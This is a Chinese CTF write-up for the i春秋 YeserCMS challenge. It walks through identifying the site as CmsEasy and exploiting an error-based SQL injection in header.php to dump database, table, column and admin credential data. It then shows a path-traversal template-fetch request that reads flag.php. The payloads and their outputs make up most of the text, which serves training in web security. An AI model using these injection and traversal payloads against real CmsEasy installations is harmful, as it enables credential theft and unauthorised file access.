i春秋-百度杯九月场-YeserCMS

原创

天问_Herbert555 于 2020-02-23 11:24:03 发布 1287 收藏

分类专栏： # 各平台题目

首先，拿到这种cms的题，

1，要先判断是什么类型的cms

2，搜索这种cms的漏洞。

3，利用该漏洞

一，判断cms：

1，在该站内找找有没有什么标识，这道题的标识在下载处有`cmseasy`

2，搜索`手机版 - 购物车 - 留言 - 繁体 - 注册 / 登陆`，可以在网上找到一大堆相同cms的网站。

在下方找到了cms名字:

3，看到这里有详细的信息，百度一下。

九州易通科技开发的核心产品易通企业网站系统(CmsEasyEasyEasyEasyEasy3.0)是充分按照SEO最佳标准来自定义URL，交叉绑定分类，地区，专题等多元化定制大大增加了企业网站的各种需求空间。强大的模板自

公司地址：四平红嘴大学科技园

联系电话：0434-5226595

办公传真：0434-5226595

二，查找easycms曾经出现的漏洞

发送url:

http://localhost/Cmseasy/celive/live/header.php

postdata:

```
xajax=Postdata&xajaxargs[0]=<xjxquery><q>detail=xxxxxx
%2527%252C%2528UpdateXML%25281%252CCONCAT%25280x5b%252Cmid%2528%2528SELECT%252f%252a%252a%252fGROUP_CONCAT%2528c
oncat%2528username%252C%2527%257C%2527%252Cpassword%2529%2529%2520from%2520cmseasy_user%2529%252C1%252C32%2529%2
52C0x5d%2529%252C1%2529%2529%252CNULL%252CNULL%252CNULL%252CNULL%252CNULL%252CNULL%2529--%2520</q></xjxquery>
```

直接利用漏洞注入：
爆库：

```
xajax=Postdata&xajaxargs[0]=<xjxquery><q>detail=xxxxxx',(UpdateXML(1,CONCAT(0x5b,mid((select/**/group_concat(dat
abase()) ),1,32),0x5d),1)),NULL,NULL,NULL,NULL,NULL,NULL)-- </q></xjxquery>
```

XPATH syntax error: '[Yeser]'

爆表，每次只能加31

```
xajax=Postdata&xajaxargs[0]=<xjxquery><q>detail=xxxxxx',(UpdateXML(1,CONCAT(0x5b,mid((select/**/group_concat(tab
le_name)  from information_schema.tables where table_schema=database()),1,32),0x5d),1)),NULL,NULL,NULL,NULL,NULL
,NULL)-- </q></xjxquery>
```

```
xajax=Postdata&xajaxargs[0]=<xjxquery><q>detail=xxxxxx',(UpdateXML(1,CONCAT(0x5b,mid((select/**/group_concat(tab
le_name)  from information_schema.tables where table_schema=database()),32,32),0x5d),1)),NULL,NULL,NULL,NULL,NUL
L,NULL)-- </q></xjxquery>
```

XPATH syntax error: '[yesercms_a_attachment,yesercms_'

[yesercms_a_attachment,yesercms_a_comment,yesercms_a_rank,yesercms_a_vote,yesercms_activity,yesercms_announcement,yesercms_archive,yesercms_assigns,yesercms_b_arctag,yesercms_b_area,yesercms_b_category,yesercms_b_special,yesercms_b_tag,yesercms_ballot,yesercms_bbs_archive,yesercms_bbs_category,yesercms_bbs_label,yesercms_bbs_reply,yesercms_chat,yesercms_departments,yesercms_de

这里表太多了，看了看writeup都是直接用的yesercms_user表，，，难道是我头太铁了

2，爆字段

```
xajax=Postdata&xajaxargs[0]=<xjxquery><q>detail=xxxxxx',(UpdateXML(1,CONCAT(0x5b,mid((select/**/group_concat(col
umn_name) from information_schema.columns where table_name='yesercms_user'),1,32),0x5d),1)),NULL,NULL,NULL,NULL,
NULL,NULL)-- </q></xjxquery>
```

XPATH syntax error: '[userid,username,password,nickna'

3，爆字段类容

```
xajax=Postdata&xajaxargs[0]=<xjxquery><q>detail=xxxxxx',(UpdateXML(1,CONCAT(0x5b,mid((select/**/group_concat(use
rname,password) from yesercms_user),32,32),0x5d),1)),NULL,NULL,NULL,NULL,NULL,NULL)-- </q></xjxquery>
```

```
xajax=Postdata&xajaxargs[0]=<xjxquery><q>detail=xxxxxx',(UpdateXML(1,CONCAT(0x5b,mid((select/**/group_concat(use
rname,password) from yesercms_user),32,32),0x5d),1)),NULL,NULL,NULL,NULL,NULL,NULL)-- </q></xjxquery>
```

XPATH syntax error: '[adminff512d4240cbbdeafada404677'

XPATH syntax error: '[ccbe61]'

`adminff512d4240cbbdeafada404677ccbe61`

md5解密

`admin-Yeser231`

登录：

做到这里就不知道怎么做了，看了看题解才知道要`抓模板->当前模板编辑->编辑`的包

Raw Params Headers Hex

```
POST /index.php?case=template&act=fetch&admin_dir=admin&site=default HTTP/1.1
Host: ef0839280beb42d6ae9c5727eb2b173f5430009bc24e4375.changame.ichunqiu.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:70.0) Gecko/20100101 Firefox/70.0
Accept: application/json, text/javascript, */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
X-Requested-With: XMLHttpRequest
Content-Length: 14
Origin: http://ef0839280beb42d6ae9c5727eb2b173f5430009bc24e4375.changame.ichunqiu.com
Connection: keep-alive
Referer:
http://ef0839280beb42d6ae9c5727eb2b173f5430009bc24e4375.changame.ichunqiu.com/index.php?case=template&act=edit&admin_dir=admin&site=default
Cookie: Hm_lvt_2d0601bd28de7d49818249cf35d95943=1582247119,1582275956,1582342433,1582420897;
UM_distinctid=170561b6f85238-0c0053833a3127-4c302b7a-144000-170561b6f87c9; chkphone=acWxNpxhQpDiAchhNuSnEqyiQuDIO0000;
ci_session=57f35101f2d19eadf50b465a9e4416de66eaafac; Hm_lpvt_2d0601bd28de7d49818249cf35d95943=1582425519;
PHPSESSID=26803ce9b2d3a008df90dfec87e9adab; __jsluid_h=c80dd6e9cfc3ba1b35773fa2ff68d002; login_username=admin;
login_password=a94f8d9844c391a79ae9db9aa41d2c44; style=skin2;
passinfo=%E5%85%8D%E8%B4%B9%E7%89%88+%3Ca+href%3D%22http%3A%2F%2Fwww.cmseasy.cn%2Fservice_1.html%22+target%3D%22_blank%22%3E%3Cfont+color%3D%22green%22%3E%28%E8%B4%AD%E4%B9%B0%E6%8E%88%E6%9D%83%29%3C%2Ffont%3E%3C%2Fa%3E

&id=#left_html
```


修改文件为`../../flag.php`

```
{"content":"<textarea rows=\"20\" cols=\"78\" id=\"..\/..\/flag.php_content\" style=\"font-family: Fixedsys,verdana,宋体;
font-size: 12px;\" name=\"..\/..\/flag.php_content\"><?php\necho 'flag is
here';\n'flag{d92c6cc4-19b3-464b-a9f4-d869eef64f91}';\n<\/textarea>"}
```